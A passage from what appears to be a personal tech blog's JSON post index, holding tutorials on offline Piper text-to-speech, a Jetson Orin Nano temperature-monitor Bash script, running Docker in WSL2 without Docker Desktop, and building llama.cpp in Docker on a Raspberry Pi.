a clear win. Paperless may join it. Backups are next. With each step, there\u2019s a little more control and a little less reliance on cloud platforms I don\u2019t manage.\nAnd yes \u2014 I didn\u2019t forget about my blogging platform. This blog is on the list too.\nIf you\u2019re curious about self-hosting, you don\u2019t need to go all-in. Start with something small.\nPick one tool or service you\u2019d love to manage yourself, and see where the road takes you.\nJoin the Conversation #Curious about self-hosting? Already replaced a cloud service, or have a cautionary tale to share?\nDrop a comment below with your experience, questions, or the tools you\u2019ve enjoyed (or regretted!) using along the way.\nLet\u2019s compare notes, learn from each other, and make the world of personal infrastructure just a bit more approachable \u2014 one project at a time.\n","date":"July 22, 2025","permalink":"https:\/\/rmauro.dev\/on-the-road-to-host-my-own-data\/","section":"Posts","summary":"<p>At some point, you start to wonder: what would it take to run the services I rely on most \u2014 myself?<\/p>\n<p>I wasn\u2019t aiming for a dramatic cloud exodus. But I wanted more control over the services I use every day \u2014 especially for photo storage, document management, and backups. Rather than spreading my personal data across Google Photos, Google Drive, Dropbox, and iCloud, I decided to take a different path.<\/p>","title":"On the Road to Host My Own Data"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/self-hosted-ai\/","section":"Tags","summary":"","title":"Self-Hosted-Ai"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ai-raspberry-pi\/","section":"Tags","summary":"","title":"Ai-Raspberry-Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/huggingface\/","section":"Tags","summary":"","title":"Huggingface"},{"content":"Want to make your computer talk \u2014 using real, natural-sounding voices without needing the cloud?\nIn this tutorial, we\u2019ll set up Piper TTS on a local system and give it a voice. It\u2019s fast, offline, and perfect for voice assistants, robotics, Raspberry Pi projects, or just impressing your friends.\nWhat You\u2019ll Need # Python 3 installed (recommended: Python 3.8 or newer) Linux environment (x86_64 or ARM64) - or Windows with WSL Internet connection (just for setup) A speaker or headphones Terminal access I have tested on Raspberry Pi OS 64-bit (Bookworm), Ubuntu 22.04, and Windows 11 using WSL. Works on most modern 64-bit Linux environments.\nInstall Piper Using pip #Piper can now be installed easily via pip, but to avoid issues with system-managed Python environments, it\u2019s best to use a virtual environment.\npython3 -m venv .venv source .venv\/bin\/activate pip install piper-tts Add a Voice #Piper uses ONNX-based voice models and needs both the .onnx model and its matching .json config file.\nYou can browse the full list of supported voices here:\nhttps:\/\/github.com\/rhasspy\/piper\/blob\/master\/VOICES.md https:\/\/rhasspy.github.io\/piper-samples\/ For this example, let&rsquo;s download the English voice &ldquo;Amy&rdquo;.\n# Download the model file wget &#34;https:\/\/huggingface.co\/rhasspy\/piper-voices\/resolve\/v1.0.0\/en\/en_US\/amy\/medium\/en_US-amy-medium.onnx?download=true&#34; \\ -O en_US-amy-medium.onnx # Download the corresponding config file wget &#34;https:\/\/huggingface.co\/rhasspy\/piper-voices\/resolve\/v1.0.0\/en\/en_US\/amy\/medium\/en_US-amy-medium.onnx.json?download=true&#34; \\ -O en_US-amy-medium.onnx.json Place both files in the same folder. Piper uses the .json file to determine things like speaking speed, noise level, and phoneme mappings.\nTry It Out #Time for the magic. Let\u2019s speak some text. You can generate a WAV file or stream it directly to your speakers.\nOption 1: Save to file and play #echo &#34;Hello from your machine!&#34; | piper -m en_US-amy-medium.onnx --output_file hello.wav aplay hello.wav # or use your system&#39;s audio player Option 2: Stream directly to aplay #echo &#34;This sentence is spoken first. This sentence is synthesized while the first sentence is spoken.&#34; \\ | piper -m en_US-amy-medium.onnx --output-raw \\ | aplay -r 22050 -f S16_LE -t raw - This streams raw audio directly to your speakers in real-time. Make sure the sample rate and format match your voice model.\nOn WSL, use wmplayer hello.wav or powershell -c (New-Object Media.SoundPlayer 'hello.wav').PlaySync().\nUse a GPU (Optional) #If you&rsquo;d like to use a GPU, install the onnxruntime-gpu package inside your virtual environment. Then run Piper with the --cuda flag.\n# installs the onnxruntime-gpu package .venv\/bin\/pip3 install onnxruntime-gpu # runs piper using CUDA echo &#34;Hello from your machine!&#34; | piper -m en_US-amy-medium.onnx --cuda | aplay You\u2019ll need a working CUDA environment, such as what comes with NVIDIA&rsquo;s PyTorch containers.\nFine-Tune the Voice (Optional) #Too fast or too slow? Edit the en_US-amy-low.onnx.json config file and tweak this value:\n&#34;phoneme_duration_scale&#34;: 1.2 Or for more fine-tuning:\n&#34;inference&#34;: { &#34;length_scale&#34;: 1.2, &#34;noise_scale&#34;: 0.5, &#34;noise_w&#34;: 0.6 } Higher length_scale = slower speech. Try 1.2 to 1.5.\nWrap Up #You now have a fast, local, private TTS engine \u2014 no internet, no API keys. Just raw, talking hardware.\nNext steps?\nUse it in your scripts or Python apps Hook it into a voice assistant Clone your own voice (stay tuned for Tutorial #2!) If this worked, give your machine a high-five \u2014 or better yet, have it say \u201cThank you!\u201d\n","date":"July 7, 2025","permalink":"https:\/\/rmauro.dev\/how-to-run-piper-tts-on-your-raspberry-pi-offline-voice-zero-internet-needed\/","section":"Posts","summary":"<p>Want to make your computer <em>talk<\/em> \u2014 using real, natural-sounding voices without needing the cloud?<\/p>\n<p>In this tutorial, we\u2019ll set up <a href=\"https:\/\/github.com\/rhasspy\/piper\" target=\"_blank\" rel=\"noreferrer\"><strong>Piper TTS<\/strong><\/a> on a local system and give it a voice. It\u2019s fast, offline, and perfect for voice assistants, robotics, Raspberry Pi projects, or just impressing your friends.<\/p>\n<hr>\n<h2 id=\"what-youll-need\" class=\"relative group\">What You\u2019ll Need <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-youll-need\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li>Python 3 installed (recommended: Python 3.8 or newer)<\/li>\n<li>Linux environment (x86_64 or ARM64) - or Windows with WSL<\/li>\n<li>Internet connection (just for setup)<\/li>\n<li>A speaker or headphones<\/li>\n<li>Terminal access<\/li>\n<\/ul>\n<blockquote>\n<p>I have tested on Raspberry Pi OS 64-bit (Bookworm), Ubuntu 22.04, and Windows 11 using WSL. Works on most modern 64-bit Linux environments.<\/p>","title":"Make Your Machine Talk: Piper TTS Offline"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/offline-tts\/","section":"Tags","summary":"","title":"Offline-Tts"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/onnx\/","section":"Tags","summary":"","title":"Onnx"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/piper\/","section":"Tags","summary":"","title":"Piper"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/python\/","section":"Tags","summary":"","title":"Python"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/text-to-speech\/","section":"Tags","summary":"","title":"Text-to-Speech"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/voice-assistant\/","section":"Tags","summary":"","title":"Voice-Assistant"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/wsl2\/","section":"Tags","summary":"","title":"WSL2"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/iot\/","section":"Tags","summary":"","title":"Iot"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/jetson\/","section":"Tags","summary":"","title":"Jetson"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/jetson-orin-nano\/","section":"Tags","summary":"","title":"Jetson Orin Nano"},{"content":"To monitor Jetson Orin Nano temperatures in a clean vertical format, create a Bash script that reads and parses the built-in tegrastats output.\nFirst, create a script file:\nnano jetson-temp-monitor.sh Paste the following:\n#!\/bin\/bash # Trap Ctrl+C to show cursor again and exit cleanly trap &#34;tput cnorm; exit&#34; INT # Hide the cursor for cleaner output tput civis # Start tegrastats and process its output line by line tegrastats | while read -r line; do clear # Clear the terminal screen on each update # Extract temperature values using grep and Perl-compatible regex (-oP) cpu_temp=$(echo &#34;$line&#34; | grep -oP &#39;cpu@\\K[0-9.]+C&#39;) gpu_temp=$(echo &#34;$line&#34; | grep -oP &#39;gpu@\\K[0-9.]+C&#39;) soc0_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc0@\\K[0-9.]+C&#39;) soc1_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc1@\\K[0-9.]+C&#39;) soc2_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc2@\\K[0-9.]+C&#39;) tj_temp=$(echo &#34;$line&#34; | grep -oP &#39;tj@\\K[0-9.]+C&#39;) # Print the temperatures in a vertical format echo &#34;Jetson Orin Nano Temperature Monitor&#34; echo &#34;------------------------------------&#34; echo &#34;CPU Temp : ${cpu_temp:-N\/A}&#34; echo &#34;GPU Temp : ${gpu_temp:-N\/A}&#34; echo &#34;SoC0 Temp : ${soc0_temp:-N\/A}&#34; echo &#34;SoC1 Temp : ${soc1_temp:-N\/A}&#34; echo &#34;SoC2 Temp : ${soc2_temp:-N\/A}&#34; echo &#34;Tj Temp : ${tj_temp:-N\/A}&#34; echo &#34;&#34; echo &#34;Press Ctrl+C to stop.&#34; done Save and exit. Then make it executable:\nchmod +x jetson-temp-monitor.sh Now just run it:\n.\/jetson-temp-monitor.sh It will display real-time temperature updates vertically. Press Ctrl+C to stop.\nUpdate on the Script #This version includes more information about the system.\n#!\/bin\/bash # === Cleanup on exit === cleanup() { tput cnorm # Show cursor stty echo # Re-enable terminal echo clear # Optional: clear screen exit } # Trap all common termination signals trap cleanup INT TERM EXIT # Hide cursor and disable terminal echo tput civis stty -echo # Clear screen initially clear # Main loop from tegrastats tegrastats | while read -r line; do tput cup 0 0 # Move cursor to top-left # Extract temperatures cpu_temp=$(echo &#34;$line&#34; | grep -oP &#39;cpu@\\K[0-9.]+C&#39;) gpu_temp=$(echo &#34;$line&#34; | grep -oP &#39;gpu@\\K[0-9.]+C&#39;) soc0_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc0@\\K[0-9.]+C&#39;) soc1_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc1@\\K[0-9.]+C&#39;) soc2_temp=$(echo &#34;$line&#34; | grep -oP &#39;soc2@\\K[0-9.]+C&#39;) tj_temp=$(echo &#34;$line&#34; | grep -oP &#39;tj@\\K[0-9.]+C&#39;) # Extract GPU usage gpu_usage=$(echo &#34;$line&#34; | grep -oP &#39;GR3D_FREQ \\K[0-9]+%&#39;) # Extract per-core CPU usage cpu_raw=$(echo &#34;$line&#34; | grep -oP &#39;CPU\\s*\\[\\K[^\\]]+&#39;) if [ -n &#34;$cpu_raw&#34; ]; then cpu_usage_formatted=$(echo &#34;$cpu_raw&#34; | tr &#39;,&#39; &#39;\\n&#39; | sed &#39;s\/@.*\/\/&#39; | paste -sd&#39; | &#39; -) else cpu_usage_formatted=&#34;N\/A&#34; fi # Extract RAM usage ram_usage=$(echo &#34;$line&#34; | grep -oP &#39;RAM \\K[0-9]+\/[0-9]+MB&#39;) # Extract SWAP usage like &#34;225\/16384MB&#34; swap_usage=$(echo &#34;$line&#34; | grep -oP &#39;SWAP \\K[0-9]+\/[0-9]+MB&#39;) # Display echo &#34;Jetson Orin Nano Monitor&#34; echo &#34;-------------------------&#34; #echo &#34;RAM Usage : ${ram_usage:-N\/A} &#34; echo &#34;CPU Temp : ${cpu_temp:-N\/A} &#34; echo &#34;GPU Temp : ${gpu_temp:-N\/A} &#34; echo &#34;SoC0 Temp : ${soc0_temp:-N\/A} &#34; echo &#34;SoC1 Temp : ${soc1_temp:-N\/A} &#34; echo &#34;SoC2 Temp : ${soc2_temp:-N\/A} &#34; echo &#34;Tj Temp : ${tj_temp:-N\/A} &#34; echo &#34;&#34; echo &#34;CPU Usage : ${cpu_usage_formatted} &#34; echo &#34;GPU Usage : ${gpu_usage:-N\/A} &#34; echo &#34;RAM Usage : ${ram_usage:-N\/A} &#34; echo &#34;SWAP Usage : ${swap_usage:-N\/A} &#34; echo &#34;&#34; echo &#34;Press Ctrl+C to stop. &#34; done Output Result #Jetson Orin Nano Monitor ------------------------- CPU Temp : 63.687C GPU Temp : 64.375C SoC0 Temp : 62.218C SoC1 Temp : 62.75C SoC2 Temp : 62C Tj Temp : 64.375C CPU Usage : 4% 1%|3% 30% 1%|43% GPU Usage : 41% RAM Usage : 5202\/7620MB SWAP Usage : 217\/16384MB Press Ctrl+C to stop. ","date":"July 5, 2025","permalink":"https:\/\/rmauro.dev\/monitor-jetson-orin-nano-temperature-in-real-time-with-a-bash-script\/","section":"Posts","summary":"<p>To monitor Jetson Orin Nano temperatures in a clean vertical format, create a Bash script that reads and parses the built-in <code>tegrastats<\/code> output.<\/p>\n<p>First, create a script file:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\">nano jetson-temp-monitor.sh\n<\/span><\/span><\/code><\/pre><\/div><p>Paste the following:<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\"><span class=\"cp\">#!\/bin\/bash\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Trap Ctrl+C to show cursor again and exit cleanly<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nb\">trap<\/span> <span class=\"s2\">&#34;tput cnorm; exit&#34;<\/span> INT\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Hide the cursor for cleaner output<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">tput civis\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># Start tegrastats and process its output line by line<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">tegrastats <span class=\"p\">|<\/span> <span class=\"k\">while<\/span> <span class=\"nb\">read<\/span> -r line<span class=\"p\">;<\/span> <span class=\"k\">do<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    clear  <span class=\"c1\"># Clear the terminal screen on each update<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Extract temperature values using grep and Perl-compatible regex (-oP)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">cpu_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;cpu@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">gpu_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;gpu@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">soc0_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;soc0@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">soc1_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;soc1@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">soc2_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;soc2@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">tj_temp<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;<\/span><span class=\"nv\">$line<\/span><span class=\"s2\">&#34;<\/span> <span class=\"p\">|<\/span> grep -oP <span class=\"s1\">&#39;tj@\\K[0-9.]+C&#39;<\/span><span class=\"k\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"c1\"># Print the temperatures in a vertical format<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;Jetson Orin Nano Temperature Monitor&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;------------------------------------&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;CPU Temp  : <\/span><span class=\"si\">${<\/span><span class=\"nv\">cpu_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;GPU Temp  : <\/span><span class=\"si\">${<\/span><span class=\"nv\">gpu_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;SoC0 Temp : <\/span><span class=\"si\">${<\/span><span class=\"nv\">soc0_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;SoC1 Temp : <\/span><span class=\"si\">${<\/span><span class=\"nv\">soc1_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;SoC2 Temp : <\/span><span class=\"si\">${<\/span><span class=\"nv\">soc2_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;Tj Temp   : <\/span><span class=\"si\">${<\/span><span class=\"nv\">tj_temp<\/span><span class=\"k\">:-<\/span><span class=\"nv\">N<\/span><span class=\"p\">\/A<\/span><span class=\"si\">}<\/span><span class=\"s2\">&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"nb\">echo<\/span> <span class=\"s2\">&#34;Press Ctrl+C to stop.&#34;<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"k\">done<\/span>\n<\/span><\/span><\/code><\/pre><\/div><p>Save and exit. Then make it executable:<\/p>","title":"Monitor Jetson Orin Nano Temperature in Real-Time with a Bash Script"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nvidia\/","section":"Tags","summary":"","title":"Nvidia"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/orin-nano\/","section":"Tags","summary":"","title":"Orin Nano"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tegrastats\/","section":"Tags","summary":"","title":"Tegrastats"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/container\/","section":"Tags","summary":"","title":"Container"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/devops\/","section":"Tags","summary":"","title":"Devops"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/docker-tips\/","section":"Tags","summary":"","title":"Docker-Tips"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/docker-without-docker-desktop\/","section":"Tags","summary":"","title":"Docker-Without-Docker-Desktop"},{"content":"Let\u2019s install Docker inside a WSL2 Linux distro, configure it to run without sudo, set up auto-start on launch, and enable log rotation to keep things clean\u2014all without the bloated Docker Desktop.\nDocker Desktop isn\u2019t just unnecessary\u2014it\u2019s heavy, intrusive, and now comes with licensing restrictions. Running Docker natively inside WSL2 is faster, lighter, and fully under your control. Let\u2019s set it up the right way.\nPrerequisites \u2705 # WSL2 already installed Ubuntu (or another Linux distro Debian based for this article) running under WSL2 Install Docker (Inside WSL2) \ud83d\udd27 #To install the Docker Community Engine, let&rsquo;s run the following script.\n# Update your package lists and upgrade existing packages $ sudo apt update &amp;&amp; sudo apt upgrade -y # Install necessary packages to allow apt to use repositories over HTTPS $ sudo apt install apt-transport-https ca-certificates curl software-properties-common -y # \ud83d\udc33 Download and save Docker\u2019s official GPG key $ curl -fsSL https:\/\/download.docker.com\/linux\/ubuntu\/gpg | \\ sudo gpg --dearmor -o \/usr\/share\/keyrings\/docker-archive-keyring.gpg # \ud83d\udc33 Add Docker\u2019s stable repository to your APT sources list $ echo &#34;deb [arch=amd64 signed-by=\/usr\/share\/keyrings\/docker-archive-keyring.gpg] \\ https:\/\/download.docker.com\/linux\/ubuntu $(lsb_release -cs) stable&#34; | \\ sudo tee \/etc\/apt\/sources.list.d\/docker.list &gt; \/dev\/null # Update package index again, now with Docker packages included $ sudo apt update # \ud83d\udc33 Finally, install the Docker Engine $ sudo apt install docker-ce -y \ud83d\udee0\ufe0f Running Docker Without SUDO #Nobody want&rsquo;s to type sudo for every command in our development machine.\nHere is how set up.\n# Create the &#39;docker&#39; group (if it doesn&#39;t already exist) # This group allows running Docker commands without &#39;sudo&#39; $ sudo groupadd docker # Add your current user to the &#39;docker&#39; group $ sudo usermod -aG docker $USER # Apply the new group membership immediately # This avoids the need to log out and back in $ newgrp docker \ud83d\ude80 Wrapping up #$ sudo service docker start $ docker run hello-world \u2699\ufe0f Optional: Auto-Start Docker on WSL Launch #Append this to ~\/.bashrc or ~\/.profile:\n# Check if the current environment is WSL2 if grep -q &#34;\\-WSL2&#34; \/proc\/version &gt; \/dev\/null 2&gt;&amp;1; then # Check if the Docker service is not running if service docker status 2&gt;&amp;1 | grep -q &#34;is not running&#34;; then # Start the Docker service as root using WSL&#39;s built-in mechanism # This avoids needing sudo manually each time wsl.exe --distribution &#34;${WSL_DISTRO_NAME}&#34; --user root \\ --exec \/usr\/sbin\/service docker start &gt; \/dev\/null 2&gt;&amp;1 fi fi Checks if the docker service isn&rsquo;t running and start it.\nThis code runs on the bash startup.\nConfiguring Docker: Daemon Settings + Log Rotation #To prevent Docker logs from eating up your disk space, configure log rotation:\n$ sudo nano \/etc\/docker\/daemon.json Paste this:\n{ &#34;host&#34;: &#34;unix:\/\/\/var\/run\/docker.sock&#34;, &#34;log-driver&#34;: &#34;json-file&#34;, &#34;log-opts&#34;: { &#34;max-size&#34;: &#34;10m&#34;, &#34;max-file&#34;: &#34;3&#34; } } max-size: rotates when logs hit 10MB max-file: keeps 3 files max, older logs get purged Then restart Docker:\n$ sudo service docker restart You can adjust size or count based on your storage needs.\n\ud83d\udee0\ufe0f Common Issues # Permission denied on docker\n\u2192 You forgot the group step or didn&rsquo;t apply it (newgrp docker) Daemon not running\n\u2192 Run sudo service docker start WSL version issues\n\u2192 Check:\n$ wsl --list --verbose \u2705 Summary # Task Command Install Docker Add repo &amp; install docker-ce Start Docker daemon sudo service docker start Run as non-root usermod -aG docker $USER &amp;&amp; newgrp docker Test Docker docker run hello-world Configure log rotation Edit \/etc\/docker\/daemon.json and restart daemon Auto-start Docker on launch Add script to .bashrc or .profile No Docker Desktop. No junk. Just containers running clean and fast inside WSL2 \u2014 with logs under control.\n","date":"June 29, 2025","permalink":"https:\/\/rmauro.dev\/run-docker-on-wsl2-without-docker-desktop\/","section":"Posts","summary":"<p>Let\u2019s install Docker inside a WSL2 Linux distro, configure it to run without <code>sudo<\/code>, set up auto-start on launch, and enable log rotation to keep things clean\u2014all without the bloated Docker Desktop.<\/p>\n<p>Docker Desktop isn\u2019t just unnecessary\u2014it\u2019s heavy, intrusive, and now comes with licensing restrictions. Running Docker natively inside WSL2 is faster, lighter, and fully under your control. Let\u2019s set it up the right way.<\/p>\n<h2 id=\"prerequisites-\" class=\"relative group\">Prerequisites \u2705 <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prerequisites-\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li>WSL2 already installed<\/li>\n<li>Ubuntu (or another Linux distro Debian based for this article) running under WSL2<\/li>\n<\/ul>\n<h2 id=\"install-docker-inside-wsl2-\" class=\"relative group\">Install Docker (Inside WSL2) \ud83d\udd27 <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#install-docker-inside-wsl2-\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>To install the Docker Community Engine, let&rsquo;s run the following script.<\/p>","title":"Run Docker on WSL2 Without Docker Desktop \ud83d\udc33"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/terminal\/","section":"Tags","summary":"","title":"Terminal"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/windows-development\/","section":"Tags","summary":"","title":"Windows-Development"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/arm\/","section":"Tags","summary":"","title":"ARM"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/linux-containers\/","section":"Tags","summary":"","title":"Linux-Containers"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/llama.cpp\/","section":"Tags","summary":"","title":"Llama.cpp"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/llm\/","section":"Tags","summary":"","title":"Llm"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/private-llm\/","section":"Tags","summary":"","title":"Private-Llm"},{"content":"Running large language models on a Raspberry Pi isn\u2019t just possible\u2014it\u2019s fun. Whether you&rsquo;re a hacker exploring local AI, a developer prototyping LLM workflows, or just curious about how far you can push a Pi, this tutorial is for you.\nWe\u2019ll show you how to build and run llama.cpp in Docker on an ARM-based Pi to get a full LLM experience in a tiny, reproducible container. No weird dependencies. No system pollution. Just clean, fast, edge-side inference.\nIf you are looking for a bare metal installation on the Raspberry Pi. Check this https:\/\/rmauro.dev\/running-llm-llama-cpp-natively-on-raspberry-pi\/\nDockerfile #The following Dockerfile builds llama.cpp from source within an Ubuntu 22.04 base image. It includes all required dependencies and sets the container entrypoint to the compiled CLI binary.\nFROM ubuntu:22.04 ENV DEBIAN_FRONTEND=noninteractive RUN apt update &amp;&amp; apt upgrade -y &amp;&amp; \\ apt install -y --no-install-recommends \\ ca-certificates git build-essential cmake wget curl \\ libcurl4-openssl-dev &amp;&amp; \\ apt clean &amp;&amp; rm -rf \/var\/lib\/apt\/lists\/* WORKDIR \/opt RUN git clone https:\/\/github.com\/ggerganov\/llama.cpp.git WORKDIR \/opt\/llama.cpp RUN cmake -B build RUN cmake --build build --config Release -j$(nproc) WORKDIR \/opt\/llama.cpp\/build\/bin ENTRYPOINT [&#34;.\/llama-cli&#34;] Build the Docker Image #Run the following command in the same directory as your Dockerfile to build the image:\ndocker build -t llama-cpp-pi . Download a Quantized Model (on Host) #You need a quantized .gguf model to perform inference. Run this command from your host system:\nmkdir -p models wget -O models\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf \\ https:\/\/huggingface.co\/TheBloke\/TinyLlama-1.1B-Chat-v1.0-GGUF\/resolve\/main\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf This creates a models directory and downloads a compact version of TinyLlama suitable for edge devices.\nRun Inference from Docker #Mount the models directory and run the container, specifying the model and prompt:\ndocker run --rm -it \\ -v $(pwd)\/models:\/models \\ llama-cpp-pi \\ -m \/models\/tinyllama-1.1b-chat-v1.0.Q4_0.gguf -p &#34;Hello from Docker!&#34; To use a different model:\nMODEL=your-model-name.gguf docker run --rm -it \\ -v $(pwd)\/models:\/models \\ llama-cpp-pi \\ -m \/models\/$MODEL -p &#34;Hello with custom model!&#34; Conclusion #This Docker-based setup enables efficient deployment of llama.cpp on ARM-based devices like the 